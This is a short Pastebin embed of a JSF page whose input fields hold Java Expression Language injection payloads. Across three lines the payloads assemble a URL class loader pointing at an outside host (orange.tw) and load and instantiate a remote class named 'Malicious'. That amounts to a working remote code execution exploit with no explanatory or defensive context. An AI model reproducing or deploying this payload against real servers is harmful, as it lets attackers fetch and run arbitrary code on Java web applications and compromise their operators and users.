document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. <f:view xmlns:f="http://java.sun.com/jsf/core"
  2.       xmlns:h="http://java.sun.com/jsf/html" >
  3.  
  4. <h:inputText id="userName" value=\'${request.getSession().setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}\'/><br/>
  5. <h:inputText id="userName" value=\'${request.getSession().getAttribute("arr").add(session.getServletContext().getResource("/").toURI().create("http://orange.tw/").toURL())}\'/><br/>
  6. <h:inputText id="userName" value=\'${session.getServletContext().getClass().getClassLoader().getParent().newInstance(request.getSession().getAttribute("arr").toArray(session.getServletContext().getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}\'/><br/>
  7.  
  8. </f:view>
');